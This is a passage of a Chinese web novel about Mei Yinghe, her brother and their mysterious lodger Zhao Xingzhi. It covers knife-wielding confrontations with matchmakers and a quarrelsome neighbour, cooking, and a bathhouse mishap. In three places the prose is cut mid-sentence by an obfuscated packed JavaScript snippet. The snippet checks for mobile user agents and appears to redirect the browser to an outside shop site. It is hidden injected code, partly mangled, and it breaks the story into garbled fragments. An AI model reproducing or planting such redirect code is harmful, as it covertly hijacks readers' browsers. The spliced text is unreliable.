“走开走开,你那是粪堆上插鲜花,臭美。”又一个高高壮壮的妇人一把扯开那个矮个子,足将人抡了半圈,“什么全部身家,那个老光棍儿统共就一间破屋,穷得叮当响,还做梦娶媳妇,也不撒泡尿照照自己什么德行。小娘子,我这里,我这里这家好……” 嗡嗡嘤嘤,七嘴八舌吵吵嚷嚷,被几个人围在中间的梅映禾就觉得头要炸了,胳膊腿身子正在被她们五马分尸。 “七,七哥,七哥。”生无可恋的小娘子无奈地求救,一双含泪带怯的杏眼看向赵行之。 小小的个子像猎物一般被围在中间,衣裳扯得乱七八糟,连发髻都被揉乱了,还有那带着哭腔的惨音,喊得赵行之心头一紧,仿佛被什么东西捏了一把心脏,揪心得难受。 扔下两辆车子,一个箭步上前,一手一个,再肥壮的丑妇在习武之人手上也是不在话下,有一个算一个统统扔了出去。 “哎哟喂,谁呀,摔死老娘了。” 丑妇们横七竖八地倒在地上哼哼着,再仔细一看,哟,这小郎没见过,真好看呢。 “哟,小郎力气倒是大得很呢,可曾娶妻,想来这把子力气一整夜都不带歇气儿的吧。” “长得真是俊,阿婶给你介绍几个有钱又风骚的小妇人,保准小郎你赚大钱。” “瞧瞧那张俊脸,哟哟还有那硬邦邦的地方,呵呵呵,快来让阿婶摸摸。” …… 不知廉耻的丑妇满嘴污言秽语,真真是没底线,听得赵行之恨不能一人给一脚,踢死她们。 “七哥。”梅映禾挣扎着跑过来拦住赵行之,“别理她们,咱回家吧。” 她不愿同这些人纠缠,因为她们惹了麻烦更是不值当。 赵行之点头,保镖一般护着梅映禾进了院门,随即转身抽出短刀,寒光毕现:“不怕死的尽管来。” “哟哟哟,脾气不小,还会吓唬人呢。”壮硕的丑妇调笑,“我就不信你今日敢动……” 还没来得及反应,只觉眼前白光一闪,短刀擦着头皮飞过,生生削去了发髻,丑妇的头顶立时秃了一块。 “亲娘呀….;;”高壮的丑妇一声哀嚎随即倒地,吓得浑身发抖动弹不得。 “杀人啦,杀人啦……” 其他几个丑妇这才当真害怕起来,纷纷抱在一起,只那位胖丑妇抖着手里的婚书,颤声道:“我同她们不一样,我这里,有,婚书。是当初小娘子亲自画押按过手印的,不得反悔,不然……不然王员外就去告官,这门亲,你们认也得认,不认也得认。” “你胡说。”梅映禾冲出来,“那是在我昏迷不醒的时候,你们拿着我的手按下的手印,并非我本意,做不得数。” “小娘子这话可是没有人证的。”胖丑妇噘着嘴哼道,“不如咱们去见官,自然会有分晓。” 那王员外有财力,见了官自然是银子说了算,胖妇胸有成竹。 “见官就见官。”梅映禾丝毫不怵,“我梅映禾贱命一条,就没怕过谁。” 啧啧,小丫头好气概,赵行之听得这话心里头佩服,上前将梅映禾挡在身后,“不见官。” 他声音淡淡的却十分温柔,好像哄孩子一般低声安慰着气得发抖的梅映禾,“你一个小姑娘与她们扯不清的,稍安勿躁,七哥来。” 温暖如沐春风的声音自耳边传来,宽大温暖的胸怀虚虚将梅映禾护住,温柔的表情,坚定的眼神,让梅映禾觉得从未有过的踏实和心安,下意识地点了点头。 “还是小郎懂得。”胖妇得意,“怎么样,这就跟我走吧。” “咻”的一声,话音未落短刀已经架在了胖妇脖子上,“你回去给那王八代句话,婚书,我们认了,那王八既娶了我妹妹便要承担她的一切,前几日她才欠下许县丞七百文钱,哦不对,是七百二十文钱,还不算利,现在又是戴罪之身,这是全村都知道的事。就请他老人家一并还清吧,对了,还要去找许县丞看看这位新姨娘的罪身如何解除,等一切都办完了,咱们即刻成亲……” 他逼近丑妇,眼神阴鸷,声音冷肃一字一顿道,“不得反悔。” 眼前明媚少年转眼就变成了妖魔般的模样,周身寒气逼人,那黑漆漆的双瞳中闪着吃人的光,手中的短刀又往自己脖颈处压了半寸,能感受到皮肉被摩擦出血的疼痛,胖丑妇从未见过这样可怕的人,明明长得极俊俏的小郎君,怎么看着似妖邪鬼魅。 “好,好……”话没说完拔腿就跑,婚书落在地上沾染了灰尘。 赵行之走上前捡起那张纸撕了个粉碎,漫不经心地看了一眼一旁挤在一堆瑟瑟发抖的妇人们,手里短刀被玩转,分分钟即可脱手,妇人们屁滚尿流、四下逃窜。 待没了人影,赵行之转回头看向梅映禾,仍旧是那副春风化雨般温柔缱绻的眉眼,笑得俊美又温柔,“解决了。” 轻松又随意,梅映禾眼中的赵行之仿佛全身镀了一层金光,“七哥……” “兄弟。” 梅映禾刚一开口,一旁梅九畴激动地上前一把抱住赵行之,用力地拍了拍他的脊背,“你是好人,我梅九畴谢谢你。” 突如其来的温暖的抱抱,让赵行之怔愣片刻,许多年了,他都未曾有过这种感觉了。男人宽厚的手掌重重拍在脊背上,暖暖地融化了冰冷的心房。 梅九畴刚回来,就看到了这一幕,这个男人救了自己的妹妹,七尺高的壮汉含着泪就要跪下行礼,被赵行之一把搀住,“男儿膝下有黄金,哥哥,小早儿也是我妹妹。” 嘴角略有些酸涩,赵行之扶起梅九畴。 “对,对,没错。”梅九畴笑喊,“早儿,快去给你七哥做好吃的。” “那就先做点儿新鲜的小零食给七哥尝尝。”梅映禾兴奋道,“辣条、薯条、江米条。” 梅九畴:…… 赵行之:…… 两脸懵,什么条? “这,又是咱娘偷偷教你的?”梅九畴问。 “啊,昂,对啊,怎么了。”梅映禾越心虚越是气势足,“娘偏心我呗。” 这些小零嘴是梅映禾想要在夜市上卖的,方便存放、味道,好又不压饿,还解馋。想起家里还有一柜子的零食,梅映禾唏嘘,物资匮乏的年代,只能自己动手啦。 辣条其实很好做,将面粉、盐、糖混合加水,揉成面团醒发约两炷香,再将面团擀成很薄的薄片,切成长条后撒上辣椒粉、五香粉揉搓均匀。锅中倒油,油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梅映禾忙张罗了一箩筐的小零食塞到李婶儿怀里,“刚做好,正说着送过去给你们尝尝呢。” 李婶儿也不见外,笑道,“都是没见过的好东西,小梅那丫头要乐疯了。昨日拿回来的炖杂鱼可是真香,早儿啊,你可真有本事。婶儿也没什么给你的,家里的鸡多,给你们送几个鸡子,你们做早食也用得到,还有一些自己种的菜,反正也卖不出去,自家吃不完,大家匀着吃。” 李婶儿一通夸,梅映禾笑着将人让到屋子里坐。 昨日有小梅的帮忙,梅九畴将房子修好了,该补的屋顶、墙面也都收拾妥当,还有围院子的篱笆也都重新加固,如今这个家看着也有点儿家的意思了。 李婶儿家就像梅花村的其他村民一样,家家户户都有几只鸡,下着鸡子,也有菜,种得极好,就是受到条件限制卖不出去,自家吃不完,最后眼睁睁看着烂掉。 “李婶儿,我想着你卤鸡子做得极好,不如你做了,让小梅姐跟我一起去卖早食。”这事梅映禾在心里盘算好几日了,也不知人家愿不愿意,“刚好那几个卖早食的邻居,没有一个是卖卤鸡子的。” “哎哟,那感情好。”李婶儿一拍大腿,“早儿啊,婶儿谢谢你想着我家小梅。” “婶儿,没有你们的帮衬,我和哥哥都不一定能活到今日。”梅映禾是个感恩的人,旁人对她的好,总想着加倍对人家好。 “小梅同我说了,你如今做早食做得好,还夸你能干。”李婶念叨着,“我看着你们兄妹长大的,老早就说,咱们早儿不是一般人……” “肯定不是一般人。”门口传来尖锐的嗓音,酸话冲口而出,“一般人也干不出来这事。” 秀才娘双手叉腰,气势汹汹地站在院子里,“梅小早,你勾引我家秀才,还让他给你买头花,我呸,你也配。” 10. 红烧肉 “婶子来了,快进来。”梅映禾仿佛没有听到秀才娘的谩骂,依旧笑嘻嘻地过去将人迎进来。 “梅小早,你少在我面前装样。”秀才娘红着脸梗着脖子怒气冲冲道,“你肚子打的什么主意,蒙骗得了我家秀才,可骗不了我。你们家穷,看着我们秀才将来能做大官,就想勾引我家秀才,他可是个一门心思读书的,哪里晓得你这些花花肠子,我今日来一是要回我家秀才昨日给你买的绢花,多少银子你还给我,一文我也不多要。二来是告诉你,梅映禾,你跟秀才的事,你想都不要想,我们是看不上你的,我劝你趁早死了这条心,若是再叫我知道你打我儿子的主意,我就让你在这个村子里抬不起头。” 平日里文静懦弱的寡居女子,为了子女,竟不明事理到如此地步。爱子心切,梅映禾不是不能理解,可是到了这种地步,就真是自酿苦果了。 没有不高兴,梅映禾仍旧笑脸相迎,“婶子你误会了,我跟秀才哥没有你说的那些事,昨日的头花是他自己买给我的,但是我没收,还给他了,不如你回家再去问问他。” “呸,耍心机的死丫头,你这叫挑拨离间,你打量着我家秀才被你拿捏了,挑唆我们母子反目成仇是吧。”秀才娘急火攻心,好话是一句也听不进去,蹦着骂梅映禾,一口一个“死丫头”,一口一个“勾引”,越说越难听,越说越不像话。 梅映禾始终不急不躁,等她骂完,认认真真地耐着性子解释,也不管她是否听得进去,总归该说的话都说到了。 可是,梅九畴却不像妹妹那样沉得住气,暴脾气上来,摸起铁锹就要冲过去,幸好被梅映禾一把拉住了胳膊。 “哥哥。”梅映禾太了解他的脾气了,若是骂他梅九畴,或许还可以忍耐,但若是说一句小早儿的不是,梅九畴是一定要加倍奉还的。 “婶子是长辈,咱们是晚辈,不得无礼。况且你力气大,若是有个什么好歹,倒真成了我们的不是了。” 她死死捏着梅九畴的胳膊,压低声音提醒他,梅九畴的眉头拧成了一个疙瘩,面部表情有些扭曲,“那就让她这样欺负人不成?” “那怎么成。”李婶儿从屋子里出来,冷笑道,“大妹子,多日不见脾气见长啊。” 大家过去都是邻居,秀才娘向来懦弱胆怯,只紧张她儿子紧张得没了分寸,竟跑到这里来发疯,李婶儿实在看不过去,站出来替两兄妹说句公道话。 “秀才娘,你做长辈的这样欺负孩子,可就是你的不是了。梅家夫妻生前可没少帮你们孤儿寡母,那些事儿你都忘了吗。”李婶儿大声还击,“如今你看人家爹娘不在了,跑来欺负这对可怜的兄妹,有你这么做人的吗。再说了,你们家秀才满心满眼都是我们小早,全村都知道的事,你不去管管自己儿子跑到这里来撒疯,你打量着是没人给他们撑腰吗。” “李婶儿,这不关你的事。”秀才娘一张脸气得通红。 “这怎么不关我的事。”李婶儿哼斥,“当初梅展翔和珍娘可是为了救你们家的秀才才被大水冲走的,你不会忘了吧,若不是被冲走这对兄妹如今就不会这么可怜,做人得讲良心。” “他们也不是专门为了救我们秀才……” “你们秀才的命是不是他们夫妻救的吧。”李婶儿气急了,“你现在说这种话,葬良心啊,快来啊,大伙儿快来看看啊,这秀才娘不讲理,青天白日满口胡言跑来污蔑这对没爹没娘的可怜的孩子啊……” 秀才娘爱面子,被李婶儿这么扯着嗓子一嚎,当真吓得说不出话来,一张脸乍红乍白的。 “大家来评评理。”李婶儿张罗着路过看热闹的村人,“昨日我们小梅可是在场的,小梅回来跟我说了,秀才自己跑来的,说是书院放假一日,用自己的奖银给小早买了绢花,没错,但是小早没要啊,这可是小梅亲眼所见,她今日跑来讹人银子,有你这样的吗。” “昨日书院根本就没有休息,他那是在书院兼了打扫的活儿,自己攒下的银子。”秀才娘很激动,“我们秀才不容易,读个书,为了这个死丫头还要苦着自己……” “唰”的一声,秀才娘的哭声戛然而止,仔细一看,脚边竟飞来一柄短刀,寒铁直直插入泥土里,紧紧贴着秀才娘的绣鞋,若是再偏半寸……人被定住了,登时吓得变了脸色。 只听身后一个不紧不慢的声音响起,“哦,对不住,手滑了。” 是赵行之。 可惜,秀才娘都没看清楚人脸就已经跑得没了人影儿。 “七哥。”梅映禾走过去,将短刀拔出来递给赵行之,玩笑道:“今日三次手滑了夯。” 小娘子眉眼带笑地看着他,眼睛里蓄着一汪水,似戏谑又似感激,看得赵行之手中一紧,收回短刀避开她的视线,转头进了屋里。 送走了李婶儿,一切恢复平静,梅映禾一边慢慢地整理收拾灶台,一边也在收拾自己的心情。 今日发生的事情实在太多了,虽说倒不至于让她乱了心神,可毕竟都不是什么好事,怪膈应的。 将灶房里里外外打扫了一遍,又将新买来的肉和菜洗净放在盘子里备用,油盐酱醋该添的添,该存起来的存放起来。 昨日梅九畴修房子的时候,顺带将灶房给妹妹好好地修整了一番,用大木做了两个柜子,一个用来放梅映禾囤的蔬菜、粮食和油盐酱醋,还有一个用来放她做好的成品,小零食和没吃完的饭菜,现在天气凉了,一顿吃不完放个一两日也不会坏。另外,还多加了一个灶眼,现在梅映禾的灶房里有三个灶眼,炖炒蒸三管齐下,爽得很。 梅九畴说:“灶房太小了,你放心,□□后赚了银子一定给你布置一个更大更好的灶房,让我们小早耍得开。” 这就是她的哥哥,心里永远将梅小早放在第一位的哥哥。 梅映禾想着,手上的活儿没停,今日是哥哥第一日上工,码头的活儿不用说也一定很辛苦,出力还在其次,恐怕还要遭受管头儿的辱骂甚至鞭打吧。 梅映禾想着,往院子瞧了一眼,哥哥和七哥正在帮她劈柴,两个人不知道在说着什么,哥哥眉飞色舞的。 七哥今日也辛苦了,多亏了他,梅映禾想,不管他是什么人,到底是对她们兄妹没有坏心思的,能有个人跟哥哥做个伴儿,也挺好的。 菜和料都配齐了,梅映禾今日做的是几道家常菜。 血气方刚的小伙子出了一天的力气,红烧肉最能抚慰心情和五脏庙。但是这红烧肉也有很多种做法,上海红烧肉偏甜口,湖南红烧肉放辣椒,略微偏辣,四川红烧肉自不必提,是又麻又辣。 梅映禾觉得拌米饭吃,还得是海派甜口的,吃着香。 就怕太甜腻,还做了青椒炒鸡子补充营养,和辣炒杂菜调和口味。 红烧肉用的是五花肉,做出来色泽红亮,放在大白米饭上做浇头,啧啧,鲜香诱人,一口下去米饭包裹着大块的肥瘦相间的肉,甜中裹着香,肥而不腻,满满一大口慢慢地咀嚼,充盈的满足感和幸福感。 鸡子最补体力,还是李婶儿送来的,自家的鸡还没长大,梅映禾不吝啬,足足用了六个鸡子炒了黄澄澄一盘子,配上爽口微辣的青椒,色香味绝佳。 至于炒杂菜,实在是自创的,因为邻居们给的菜太五花八门,谁家有什么就送来什么,索性放在一起炒出,用的是韩式炒法,一整个儿香辣下饭,酥脆爽口,营养均衡,综合了红烧肉的甜和炒鸡子的香,一口肉一口鸡子一口辣炒杂菜,混在嘴巴里嚼啊嚼啊,太下饭了。 这一顿,梅九畴和赵行之将小早儿蒸的二斤大米饭吃了个精光。 晚食过后,梅映禾从来都不让梅九畴动手,利索地收拾洗刷,梅九畴就赶紧去沐浴了。 天气一日日变凉,但是像他这样干了一天的体力活儿,身上早就被汗水浸透了,快速洗了个澡然后将衣裳顺手洗出来,能做的活儿就自己做了。 将衣裳搭在院子里的晾晒绳上,梅九畴偷偷看了一眼灶房,小早儿还在仔细地洗刷,放心了,回到屋子里拿出来之前给赵行之用的草药,解开衣襟刚要涂抹,门被推开,赵行之进来。 梅九畴赶紧拢上衣裳,可是已经晚了,他都看到了。 赵行之一点儿都不惊讶,直接递给他一瓶金疮药膏,“这是好东西,涂上好得快,比你那个草药有效。” 梅九畴憨憨一笑:“你,都看出来了。” 今日秀才娘来的时候梅九畴想要出手,被妹妹拉住了,她捏的地方正好是他的伤处,梅九畴不想让小早知道,强忍着疼痛,脸色都变了,小早没注意但是却被赵行之看在眼里。 赵行之没说话,看着他涂抹药膏。 好药就是好药,涂上去清清凉凉的,非但不疼,还挺舒服。 “这么好的东西也只有你们有钱人用得起。”梅九畴也是识货的,“今日,谢谢你。” 这是他一日之内第二次向赵行之道谢。 赵行之看着他那青紫渗着血丝的伤痕,皱眉不语。 梅九畴解释:“嗨,没什么,我也没惹事,只是他们实在太欺负人了,我就路见不平拔刀相助了一下而已……” 他是个直肠子的铁憨憨,对人真诚不设防。 赵行之点了点头,“以后做事也要顾着些家人。” 只此一句,梅九畴略微愣了一下,点头应道:“是,我记住了。” 说完又抬头看赵行之,恳求道:“这事你别告诉小早儿。” 赵行之“嗯”了一声,不再多话。 这对兄妹的感情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13879203|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是真的好,是他羡慕却无法得到的亲情。 若是他们兄弟不是生在皇家,或许也能有这般深的感情吧。赵行之想,不过感谢老天眷顾,能让他阴差阳错地成了这个家的“一员”,这样的感情就在身边,即便不是亲兄妹也让赵行之心里生出从未有过的踏实的感觉。 梅映禾进门的时候,就看到哥哥和七哥促膝长谈,两个人仿佛有讲不完的话。 “早儿,秀才娘是个糊涂人,你别生气。”梅九畴劝她。 梅映禾点头:“不气,哥哥放心,我心大着呢,咱该干什么就干什么。这事也不是一日两日了,这些年我什么都没做,依然打消不掉她的疑心,又有何用。倒不如坦坦荡荡的,反正生气、担心的是她,又不是我。” 心弦一动,反复掂量着这句话,赵行之起身,“我去沐浴。” 梅映禾从箱子里翻出一件衣裳开始拆线,梅九畴坐在一旁看着,小早儿这几日胖了一些,脸上有了些肉,面色也红润起来,心里别提多高兴了。 “今日,多亏了你七哥。”梅九畴看人走了,笑道,“他是个好人。” 梅映禾没接话,仍旧低头认真拆线。 “有七哥陪着你,哥哥也放心些。”梅九畴自顾自说着。 梅映禾抬头看着梅九畴,她的哥哥其实非常的善良,单纯地愿意相信每一个人都是好的。 “哥哥,你知道七哥是什么人吗,家里做什么的,他又是做什么的,为什么会受那么重的伤,又为什么非要留在我们家里……” 梅九畴一愣,摇了摇头,“不知道,但是哥哥知道他不是坏人。怎么,早儿,你不相信七哥。” 梅映禾不语低头继续拆线,倒也不是不相信,只是没有哥哥那么信赖罢了。正如她心中所想,这个人不过暂住而已,或许人家有自己的难言之隐,他不说,她便也不多问,只是,那种身手,那样的气度,一定不是个普通人。 究竟是什么人,左右也同他们兄妹没什么关系,过些日子人家走了,这段缘分也就过去了,就像……她和爹娘、邻居,和过去的许多人,总有相聚相散的时候。 在梅映禾心里,无可无不可,总是不怎么在意的,所以谈不上信与不信。 “哥知道你不是不信七哥,只是不在意罢了。”梅九畴道,“早儿心大,这样很好。” 到底是亲哥,了解她,梅映禾笑道:“今日这种情况,换成是哥哥也不会坐视不理的,对吧。” 梅九畴突然被点,怔愣一下,下意识捂了捂伤处,磕巴道:“对,是,自然。” “但七哥真的不是坏人。”他又强调。 “不是亲兄妹,认识也不过几日。”梅映禾说,“或许人家是在报恩,是什么样的人都与我们无关。哥哥不要多想,我们如常过我们的日子。” 人生中来来去去的人太多了,留不住,只能珍惜当下的缘分。 “不是亲兄妹就不是真心了吗,那我……”梅九畴的话到了嘴边戛然而止,脸色微变,接着道:“我,看七哥就不错。” 梅映禾被他逗笑了,“好好,哥说好就是好,作何这样激动,我信不得旁人,还信不得哥哥你吗,你可是我亲哥。” 是亲哥,对吧,对,没错。 梅九畴心里嚯嚯跳了两下,逐渐平复下来。 “再说了,我没说他不好,不然人家这样帮我们图什么。”梅映禾笑说,“难不成图我们家的饭好吃……” 兄妹在房间里的聊天,后头简陋沐房里的赵行之自然不知,他正在给佑安吩咐,“让你查的事情,尽快些。” 佑安道是,又看了一眼这破旧不堪的环境,“郎君受苦了。” 他带了许多好药,正在帮赵行之换药。 布衣褪去,露出精壮的胸膛,狰狞可怖的刀伤已经结痂,真是好了许多。 旁边沐桶里的热水散发出氤氲的水汽,将小小的沐室充满了水雾。 “我思量过了,你准备一下,秋末招兵。”赵行之吩咐,佑安一愣。 “可是陛下这些年忌惮王爷,咱们已经很久没招兵了,如今突然招兵,王爷不怕陛下……” 沉寂片刻,赵行之才缓缓道,“你也说了,这些年我什么都不做,依然打消不掉他的疑心,又有何用。倒不如坦坦荡荡的,反正生气、担心的是他,又不是我。” 小早的这句话印在了赵行之心里,有一种醍醐灌顶的感觉,他们的处境一般无二,不是吗。 “是。”佑安坚定地领命。 “还有一件事。”赵行之眉头紧锁,“明日找几个人去买……” “七哥。”小娘子清脆甜蜜的嗓音打断了他的话。 猝不及防,沐室的门被梅映禾一把推开,“我来……” 11. 偷看 水汽氤氲,热气扑面,狭小逼仄的房间里只有屋顶一个小小的天窗,用来透气,梅映禾的面前就是大大的沐桶,两个人只隔着桶壁的距离。 这个沐房也是前两日梅九畴才建起来的,用他的话说,赚来的银子先不必急着还,日子还长,得先让妹妹过得舒坦些,这才在屋后头做了一个仅能容下一个木桶外加一张木凳的小房间。 天窗开在屋顶,是梅映禾的意思,坐在木桶里泡着热水看着星星,岂不美哉。 暖和倒是真的,只是,有些不透气。 朦朦胧胧的视线被一团一团的雾气遮挡,影影绰绰能看到白玉般的胸膛,颈部线条流畅,肩膀宽阔,能听到沐桶里的水拍在他胸膛上,犹如海水拍岸,发出细微的澎湃之声,想来那胸膛应当也是坚实壮硕的,硬如礁石。 其实能看到的只是这些,甚至连脸都看不清,更不知他表情如何。 但即便如此,突如其来的赤.裸半身的男子沐浴图,还是让梅映禾有些措手不及,整个人怔愣愣地站在那里,不知该做什么。 “小早儿,在看什么。”男子清冷冷的声音传来,丝毫听不出慌张和不快,好似在问“晚食吃什么”一样自然。 “看……”梅映禾被定住的眼珠终于能动了,“看,没看什么。” 声音虚弱惶惶,心不在焉,恍惚片刻后,小娘子夺门而逃,“七哥,我什么都没看见。” 沐房的门被重重拍上,震得四壁轻颤,巨大的噪声迫得赵行之蹙眉闭了闭眼。 梅映禾坐在床沿边上直喘气,心房里咚咚地跳着,她原本在给衣裳拆线,不擅女红的她笨手笨脚慢吞吞地拆完已经用了很久的时间,心里盘算着男子沐浴极快,这么久怎么也该洗好了,脑子里一边又惦记着明日带着小梅姐去卖早食的事,让哥哥去隔壁还了独轮车,顺便提醒小梅姐明日起早,自己便拿着衣裳一把推开了沐房的门。 谁知道他沐浴要这么久。 方才只顾着惊愕了,这会儿才想起来,在沐房里好似闻到了一股淡淡的药味。 他身上有伤,一定是在沐房里涂抹药来着,所以才这么久嘛。梅小早懊悔捶头,她有一边琢磨事一边做手上事的习惯,分神得厉害,也知这样不好,这不,闯祸了,尴尬了吧。 虽然嘴上喊着“七哥”,可到底不是自己的亲哥哥,梅映禾赶紧想怎么跟他解释。 沐房的门开了,赵行之走出来,身上穿的仍旧是那件旧衣。 “我以为七哥洗好了,这才冒失了。”她站起身,垂着头道歉,“对不住七哥,我方才找到一件哥哥的旧衣,也不算旧衣,是几年前母亲给哥哥做的衣裳,没穿过,因想着他会长得很快,故而做得大,多余的地方都免了进去,我把线拆了,放了出来,七哥试试合不合身。” 赵行之的长发被挽起,束在头顶,用了一根玉簪固定,居高临下地看着她手里的衣裳,用那一贯冰冷的声音道:“多谢。” “不谢,是我不好。”梅映禾提高声调,“你身上有伤,我帮七哥试试吧。” 他沉默片刻,并未拒绝,伸出手去解开了衣襟前的盘扣。 小娘子比他矮了一头,指尖拎起衣裳踮起脚尖努力够着他的肩,吃力得很,离得近了,赵行之能听到她的喘息声。 心里一颤,赵行之替过她的手,将衣裳拢在身上,他并不习惯穿短打,总觉得少了什么似的,但是新上身的这身衣裳倒是比先前那件合身许多,虽然也是短打,却宽松了些,更方便行动,看起来也没有那么局促了。 “刚好。”梅映禾笑得开心,仿佛已经忘了方才的尴尬。 “你的母亲……”他开口,“为何要提前做这么大的衣裳。” 今日听说她们的爹娘已经去世两三年了,赵行之看着身上的衣裳,心中不解,这个母亲怎么会提前准备这么多孩子未来长大要穿的衣裳,就好像知道会发生不测似的。 “阿娘原是大户人家的婢女,除了女红刺绣做得好,其他什么都不会做。”梅映禾笑道,“所以,这是她每日能做的唯一的事情,做着做着就多了。” 梅映禾指着墙角的木箱,“那里头都是母亲给我们兄妹做的衣裳,够穿许多年,也是我们唯一的家当。” 眼前浮现出一个温柔慈爱的妇人形象,赵行之点了点头,“那,你骗了九郎。” 他指的是她会做的那些吃食,总说是跟着母亲学的。 审视的目光落在她的面颊上,正对上那双水灵灵的杏眸,长睫浓密微翘,黑漆漆的瞳仁中尽是被意外惊吓不知如何应对的慌张和局促,深深看下去,水汪汪的,好似下一秒就能决堤泛滥。 赵行之忙收回视线,“放心,我不告诉九郎。” 梅映禾愣了愣,眨了眨眼,这才觉得眼角酸涩,“阿娘,虽不会做吃的,但也算是见过世面的,也,略有指导。” 声如蚊呐,心虚音颤。 赵行之微微扯了扯嘴角,想起今日李婶儿说的她父母的死因,问:“他们是怎么死的。” 梅映禾复又抬头看他。 “我问的是,你爹娘是怎么死的。” “为救乡邻,被洪水冲走了。” 多大的洪水,能冲走两个大活人。赵行之努力回忆,近五至八年间的确京郊地区有过涝灾,却未曾听说水势如此猛烈,再看看这梅花村,没有雄山峻岭,亦是不会有泥石流、塌方,也未曾听闻过地震…… “七哥。”梅映禾的呼唤打断了他的思绪,赵行之看她,白皙莹润的面颊上泛起健康的红晕,她总是习惯性地微微笑着,看着温柔又喜庆。 “你的伤好些了吗。” “嗯,无碍了。” “那就好。”梅映禾转身回到自己的床榻边,“那七哥早些休息吧。” 狭小的房间被梅九畴多加了半堵墙,隔开了里外两张床铺的视线,赵行之和梅九畴挤在外间的大床上,梅映禾仍旧睡里面的小床铺。 梅九畴回来的时候,二人已经分别躺下,灯火俱灭。 秋日的夜有些微凉,好在房子已经休憩完整,不再四下漏风,盖上薄薄的干净的棉被,梅九畴很快打起了鼾。 月色透过窗子,只露出小半张脸,清晖洒下,映在赵行之脸上,留下凝神的侧颜。 他时常失眠,但今日却是受伤以来的头一回。 不知怎么,小娘子温柔明媚的脸总是在脑海里挥之不去,还有她甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13902223|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甜的笑,清朗酥脆的嗓音,仿佛春日花园里欢唱的黄鹂鸟,悦耳又悦目。 今日的意外着实吓着她了,赵行之想起她面红耳赤的样子,眼中雾气浓浓,一面尴尬地不敢看他,一面絮絮叨叨地说着话,娇羞有之,还有些强词夺理地可爱。 遑论她,自己又何尝不是呢。赵行之常年征战在外,身边素来没有女子,甚至连侍奉的女婢都没有,这还是生平头一遭被小娘子看了去,只不过,他反应快,装得比她镇定罢了。 想起方才自己胸腔内那擂鼓般的心跳声,赵行之下意识摸了摸自己的胸膛。 久未训练,不知还是否健硕,可有赘肉生出? “你怎么还没睡。”旁边九郎醒了,看了他一眼,“你的伤我看过了,已经没事了,放心吧,不会留疤的。再说了,男人,身上有了疤痕才是真正的男人。” “九郎可曾叫女子瞧见过……赤身?”赵行之问。 梅九畴嗨了一声,“如何没有,那有什么,也就是你们这种有钱有势的人家规矩多才会在意这些,我们在地里干活,哪个不是穿着短衫、小褂,晃悠悠的肥肥大大才凉快,有些人干脆赤膊上阵,干起活来又快又好,田埂地头上不都是大姑娘小媳妇的,谁又不是没见过。” 赵行之:…… 说得也是。 “大丈夫叫看几眼又不会掉一块肉。”梅九畴哼哼着鼾声迭起,无缝衔接,又睡了过去。 翌日,天色昏暗的时候,小梅就已经来了。 屋内烛灯已经燃起,门没锁,她一把推开房门,刚好撞见了还未来得及穿衣裳的梅九畴。 健硕黝黑的皮肤上青紫的瘀伤赫然眼前,小梅惊呼上前:“九郎,你身上怎么了?” 梅九畴几乎是从床上弹跳起来的,“嗷”的一声抓起衣裳飞奔出门,全然忘记了昨晚上跟赵行之吹的牛皮。 “九郎,你别跑,让我看看……” 一个追一个跑,鸡飞狗跳,驱散了深秋的寒意,鲜活的一日就此拉开帷幕。 梅九畴坚持送他们一段儿,小梅含羞带怯地一路跟着他说话,她往他身边蹭蹭再蹭蹭,梅九畴的腿都有些僵直走不动路了。 小梅个子高,长得结实健康,跟在梅九畴身边却依然显得娇小,二人在前头拉拉扯扯,梅映禾笑嘻嘻地瞧着,哥哥的脸啊,红里透黑,黑里透红的,真好看。 就连一贯沉默不语的赵行之,看着前面二人的腻腻歪歪,也禁不住嘴角上扬,眼角弯弯了。 今日的生意很好,刚支起摊铺就排起了队。 梅映禾发现,今日来买早食的人多了许多妙龄小娘子,一个个羞涩地拿眼直瞟她身后的赵行之。 再看看七哥,闷头专心切菜,邦邦邦的声音震天响,冷面俊美的侧颜,惹得小娘子们悄悄激动。 感谢七哥的帅脸,又给她带来了新客。梅映禾笑着向队伍末端看去,今日的队伍格外长,足足拐了两道弯,好在今日备的料足够,只是,那几个被七哥吓跑的秀才哥却不见了踪影,更奇怪的是,队伍里头多了十几个诡异的人。 身形高大,眉眼冷峻,看上去凶巴巴的,一身锦衣皂靴,气势迫人,站在队伍里格外扎眼。 12. 粉丝 这阵仗看得梅映禾心嚯嚯跳了几跳,莫说她,就连头一次来的小梅都觉得异样了,用胳膊肘捅了捅梅映禾,“早儿别怕,那几个若是敢找麻烦,我也不是好惹的。” 小娘子怎么进过京城,身上却丝毫没有初来乍到的怯懦和惶恐,浑身是胆。 梅映禾笑了笑,“你见过找麻烦还排队的吗。” 说得也是,既然小早都说没事那一定没事,小梅点了点头,转眼就将此事抛之脑后了。 